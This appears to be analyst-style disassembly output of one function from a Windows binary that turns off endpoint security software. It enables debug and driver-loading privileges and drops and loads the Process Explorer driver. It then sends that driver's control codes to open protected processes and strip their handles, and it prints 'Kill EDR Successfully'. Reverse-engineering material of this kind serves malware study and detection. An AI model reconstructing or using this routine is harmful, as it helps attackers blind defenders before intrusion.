Function at 0x1400018f0
Capabilities:
Acquire debug privileges
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push rbp
push rbx
push r15
lea rbp, [rsp - 0x610]
sub rsp, 0x710
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5f0], rax
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x208
call fcn.140017ae0
lea rcx, str.___Checking..._n
call fcn.140001080
xor r15d, r15d
mov ebx, r15d
mov qword [rsp + 0x58], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x58]
lea edx, [r15 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000198d
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x80]
lea r9d, [r15 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x7c]
mov dword [rbp - 0x7c], r15d
lea edx, [r15 + 0x14]
mov dword [rbp - 0x80], 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x7c]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000199d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x1400019b4
lea rcx, str.____Please_start_with_administrator
call fcn.140001080
xor eax, eax
jmp 0x140001ec6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x68]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400020ab
lea r8, [rbp - 0x74]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp - 0x68]
lea r8, [rbp - 0x78]
mov r9d, 0x10
mov qword [rsp + 0x28], r15
xor edx, edx
mov dword [rbp - 0x78], 1
mov dword [rbp - 0x6c], 2
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400020ab
mov qword [rsp + 0x738], rdi
lea rdx, [rbp + 0x3e0]
mov qword [rsp + 0x708], r13
mov ecx, 0x105
mov qword [rsp + 0x730], rsi
mov qword [rsp + 0x700], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rax, str.PROCEXP
mov edx, 0x104
mov qword [rsp + 0x28], rax
lea r9, str._ws_ws
lea rax, [rbp + 0x3e0]
mov r8, 0xffffffffffffffff
lea rcx, [rbp + 0x1d0]
mov qword [rsp + 0x20], rax
call fcn.140001010
mov edx, 0x66
mov dword [rbp - 0x80], r15d
xor ecx, ecx
lea r8d, [rdx - 0x5c]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x140001ac2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_to_find_resource:__d
call fcn.140001080
jmp 0x140001bab
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
jne 0x140001ae6
lea rcx, str.____Failed_to_load_resource_n
call fcn.140001080
jmp 0x140001bab
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
jne 0x140001b08
lea rcx, str.____Failed_to_lock_resource_n
call fcn.140001080
jmp 0x140001bab
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
test eax, eax
jne 0x140001b2b
lea rcx, str.____Failed_to_get_resources_size_n
call fcn.140001080
jmp 0x140001bab
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0x1d0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001b6f
lea rcx, str.____Failed_to_create_procexp_n
call fcn.140001080
jmp 0x140001bab
lea r9, [rbp - 0x80]
mov qword [rsp + 0x20], r15
mov r8d, r14d
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001b99
lea rcx, str.____Failed_to_write_driver_n
call fcn.140001080
jmp 0x140001bab
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtLoadDriver
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlInitUnicodeString
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmm1, xmmword [str.RegistryMachineSystemCurrentControlSetServicesProcEXP]
lea rcx, [rbp + 0x38]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x40], xmm1
movaps xmm1, xmmword [0x140022060]
xor edx, edx
movups xmmword [rbp - 0x68], xmm0
mov r8d, 0x190
mov rdi, rax
movaps xmm0, xmmword [0x140022050]
movaps xmmword [rbp - 0x30], xmm0
movaps xmm0, xmmword [0x140022070]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm0, xmmword [0x140022090]
movaps xmmword [rbp - 0x20], xmm1
movaps xmm1, xmmword [0x140022080]
movaps xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x1400220b0]
movaps xmmword [rbp], xmm1
movaps xmm1, xmmword [0x1400220a0]
movsd qword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm1
call fcn.140017ae0
lea r8, [rbp - 0x74]
mov dword [rbp - 0x78], 1
lea rdx, str.SeLoadDriverPrivilege
mov dword [rbp - 0x6c], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001d2d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x58]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001d2d
mov rcx, qword [rsp + 0x58]
lea r8, [rbp - 0x78]
mov qword [rsp + 0x28], r15
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x58]
test eax, eax
jne 0x140001cd9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001d2d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x1d0]
call fcn.1400012a0
test eax, eax
je 0x140001d2d
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x68]
call rdi
lea rcx, [rbp - 0x68]
call rbx
test eax, eax
je 0x140001d21
cmp eax, 0xc000010e
je 0x140001d21
cmp eax, 0xc0000035
je 0x140001d21
mov edx, eax
lea rcx, str.____NtLoadDriver:__x_n
call fcn.140001080
jmp 0x140001d2d
lea rcx, str.___Driver_loaded_successfully_n
call fcn.140001080
mov qword [rsp + 0x30], r15
lea rcx, str..PROCEXP152
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r13, rax
lea rcx, [rax + 1]
test rcx, 0xfffffffffffffffe
jne 0x140001d7d
lea rcx, str.____Failed_to_Connect_ProcEXP_n
call fcn.140001080
xor eax, eax
jmp 0x140001ea6
lea rcx, str.___Connected_to_Driver_successfully_n
mov qword [rsp + 0x740], r12
call fcn.140001080
xorps xmm0, xmm0
lea rcx, [rbp - 0x58]
xor eax, eax
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
call fcn.140001620
mov rdi, qword [rbp - 0x50]
mov r12, qword [rbp - 0x58]
mov qword [rbp - 0x68], rdi
cmp r12, rdi
je 0x14000205d
nop dword [rax]
movsxd rbx, dword [r12]
xor edx, edx
mov r8d, ebx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x140001dec
mov edx, ebx
lea rcx, str.____Pid_Error___d_
call fcn.140001080
jmp 0x14000203f
mov qword [rsp + 0x38], r15
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x30], rax
lea r8, [rbp - 0x78]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 8
mov r9d, 8
mov qword [rsp + 0x20], rax
mov edx, 0x8335003c
mov qword [rbp - 0x78], rbx
mov rcx, r13
mov qword [rsp + 0x58], r15
mov dword [rbp - 0x7c], r15d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
cmp dword [rbp - 0x7c], 0
je 0x140001ee1
test eax, eax
je 0x140001ee1
mov r15, qword [rsp + 0x58]
cmp r15, 0xffffffffffffffff
jne 0x140001ef5
lea rcx, str.___could_not_get_handle_to_protected_process_n
call fcn.140001080
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140001e9c
mov rdx, qword [rbp - 0x48]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x140001e97
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020be
call fcn.140002a0c
mov r12, qword [rsp + 0x740]
xor eax, eax
mov rsi, qword [rsp + 0x730]
mov r14, qword [rsp + 0x700]
mov rdi, qword [rsp + 0x738]
mov r13, qword [rsp + 0x708]
mov rcx, qword [rbp + 0x5f0]
xor rcx, rsp
call fcn.1400028e0
add rsp, 0x710
pop r15
pop rbx
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____ProcExpOpenProtectedProcess.DeviceIoControl:__d_n
call fcn.140001080
lea rcx, str.___Get_handle_to_protected_process_sucessfully_n
call fcn.140001080
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov esi, eax
call fcn.140001520
xor ebx, ebx
mov r14, rax
cmp dword [rax], ebx
jbe 0x140002031
nop
lea rdx, [rbx + rbx*2]
movups xmm1, xmmword [r14 + rdx*8 + 8]
movd eax, xmm1
movups xmmword [rsp + 0x60], xmm1
cmp eax, esi
jne 0x140002008
mov eax, 0x88888889
mul ebx
shr edx, 3
imul ecx, edx, 0xf
cmp ebx, ecx
jne 0x140001f72
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp - 0x80], 0x103
jne 0x140002021
movups xmm1, xmmword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
pextrw edi, xmm1, 3
call fcn.140001520
xor r9d, r9d
mov edx, r9d
mov r8d, dword [rax]
test r8d, r8d
je 0x140001fc4
add rax, 8
nop dword [rax + rax]
movups xmm1, xmmword [rax]
movd ecx, xmm1
cmp ecx, esi
jne 0x140001fb9
movq rcx, xmm1
shr rcx, 0x30
cmp cx, di
je 0x140002015
inc edx
add rax, 0x18
cmp edx, r8d
jb 0x140001fa0
mov rcx, r9
mov qword [rsp + 0x38], r9
lea r8, [rsp + 0x60]
mov qword [rsp + 0x30], r9
mov edx, 0x83350004
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x70], r9
mov r9d, 0x20
mov qword [rsp + 0x68], rcx
mov rcx, r13
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x78], rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
inc ebx
cmp ebx, dword [r14]
jb 0x140001f20
jmp 0x14000202d
psrldq xmm1, 8
movq rcx, xmm1
jmp 0x140001fc7
lea rcx, str.___Kill_EDR_Successfully_n
call fcn.140001080
mov rdi, qword [rbp - 0x68]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r15d, r15d
add r12, 4
cmp r12, rdi
jne 0x140001dc0
mov rdi, qword [rbp - 0x50]
mov r12, qword [rbp - 0x58]
cmp r12, rdi
je 0x14000205d
mov qword [rbp - 0x50], r12
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x140001d91
mov rdx, qword [rbp - 0x48]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, 0x1000
jb 0x1400020a1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400020be
call fcn.140002a0c
jmp 0x140001d91
lea rcx, str.____Failed_to_set_Debug_Privilege
call fcn.140001080
xor eax, eax
jmp 0x140001ec6
call fcn.14000a8a8
int3